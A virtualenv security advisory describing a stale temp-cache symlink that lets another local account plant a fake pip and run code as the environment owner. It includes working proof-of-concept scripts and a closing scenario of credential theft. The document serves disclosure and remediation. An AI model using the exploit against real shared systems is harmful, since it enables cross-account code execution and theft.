CVE-2026-113713: virtualenv: stale temp-cache symlink enables local code exec

## Summary The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls. Anthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced. ## Affected area Integrity of app-data references after temporary cache cleanup. ## Attacker-controlled input Symlink seeding must be enabled through `VIRTUALENV_SYMLINK_APP_DATA` or `symlink_app_data` in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references. The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults. ## Affected code The relevant 21.14.8 source is in [symlink seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/via_app_data.py), [temporary cache cleanup](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/app_data/via_tempdir.py). ## Mechanism When app-data setup falls back to a temporary directory, the command-line `--symlink-app-data` action is disabled. A value supplied by `VIRTUALENV_SYMLINK_APP_DATA` or `virtualenv.ini` can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links `site-packages/pip` into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem. ## Reproduction and evidence The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to `/tmp`. The control used the command-line flag and received a real pip directory. With `VIRTUALENV_SYMLINK_APP_DATA=1`, the new environment instead contained a `pip` link into a deleted `/tmp/tmpXXXXXXXX` directory. A second uid recreated the target path and placed a fake `pip/__init__.py` there. When the owner ran `venv/bin/pip --version`, that module created a marker inside the owner's environment and printed `this is not pip`. The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. [Public fix PR #3437](https://github.com/pypa/virtualenv/pull/3437) copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction. ## Attack sequence ```mermaid sequenceDiagram participant U as Environment owner participant V as virtualenv seeder participant T as Temporary app-data in /tmp participant E as site-packages/pip link participant A as Other local account U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home V->>T: create transient cache V->>E: link pip to cache path V->>T: delete cache at session exit A->>T: reclaim old name and plant fake pip U->>E: run bin/pip --version E->>T: import fake pip through stale link T-->>U: attacker's code runs as owner ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-ZOE2GEPC`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import pwd import shutil import subprocess from pathlib import Path owner = pwd.getpwnam("nobody") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one other_user_uid = 4242 project = Path("/srv/project") other_user_files = Path("/var/tmp/other-user") # set up: a project folder only the owner can write, and the other user's two files in a folder of their own shutil.rmtree(project, ignore_errors=True) shutil.rmtree(other_user_files, ignore_errors=True) project.mkdir(mode=0o755) os.chown(project, owner.pw_uid, owner.pw_gid) shutil.copytree("/tmp/repro.d", other_user_files) subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True) as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project} as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"} owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]} virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"] # control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied subprocess.run([*virtualenv, "--symlink-app-data", "control"], env=owner_env, check=True, **as_owner) control_pip = next(project.glob("control/lib/python*/site-packages/pip")) print(f"CONTROL --symlink-app-data: {control_pip} is a symlink: {control_pip.is_symlink()}") # trigger: the same setting through the environment variable symlink_env = {**owner_env, "VIRTUALENV_SYMLINK_APP_DATA": "1"} subprocess.run([*virtualenv, "venv"], env=symlink_env, check=True, **as_owner) venv_pip = next(project.glob("venv/lib/python*/site-packages/pip")) print(f"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}") # attack: the other user re-creates the deleted folder the link points into if venv_pip.is_symlink(): print(f"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}") subprocess.run(["python3", other_user_files / "plant_fake_pip.py", venv_pip], check=True, **as_other_user) # the owner uses their environment pip_version = subprocess.run([project / "venv/bin/pip", "--version"], env=owner_env, capture_output=True, text=True, **as_owner) print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}") # check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write venv_stat = os.stat(project / "venv") print(f"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}") proof = project / "venv/attacker-code-ran" print(f"OBSERVED {proof} exists: {proof.exists()}") if proof.exists(): print(f"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}") print("BUG" if proof.exists() and proof.stat().st_uid == owner.pw_uid else "OK") ``` **`repro.d/fake_pip.py`** ```text # planted as pip/__init__.py: runs in whichever process imports pip import os import sys with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof: proof.write(f"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}") sys.exit("this is not pip") ``` **`repro.d/plant_fake_pip.py`** ```text import os import shutil import sys from pathlib import Path dangling_link = sys.argv[1] # the environment is world-readable, so anyone can read where its links go deleted_folder = Path(os.readlink(dangling_link)) # virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take deleted_folder.mkdir(parents=True) shutil.copy(Path(__file__).with_name("fake_pip.py"), deleted_folder / "__init__.py") ``` ## Impact Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later package load can follow the stale cache reference into a pathname another account has acquired. A private temporary-directory parent prevents that cross-account condition. Severity: low. ## Versions tested The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at 21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available. The reporter identifies 20.0.6 as the first affected release. Commit [c3453b6c](https://github.com/pypa/virtualenv/commit/c3453b6c381d28377c8e0115bf1124b2ca7b3c2b), first included in 20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified. The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected through environment variables or configuration. The environment then remains usable after cache cleanup. Proposed fix: [PR #3437](https://github.com/pypa/virtualenv/pull/3437). ## Known mitigation The proposed fix is in [public PR #3437](https://github.com/pypa/virtualenv/pull/3437). The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data, regardless of where the symlink option came from. Persistent caches retain symlink seeding. Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a writable persistent cache private to the environment owner. Recreate affected environments after correcting those settings. No fixed release is available yet. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.

On a shared ML build server, the platform team sets VIRTUALENV_SYMLINK_APP_DATA=1 globally to speed up environment creation. A data scientist's home directory is unwritable, so virtualenv falls back to a temp cache under /tmp and links site-packages/pip into it. When the process exits the cache is deleted, leaving a dangling link. A second local user reads the world-readable link target, recreates the directory and drops a malicious pip/__init__.py. The data scientist later runs venv/bin/pip, and the attacker's code runs as them. It can then read training data, steal cloud or model-registry credentials, or tamper with files in the environment.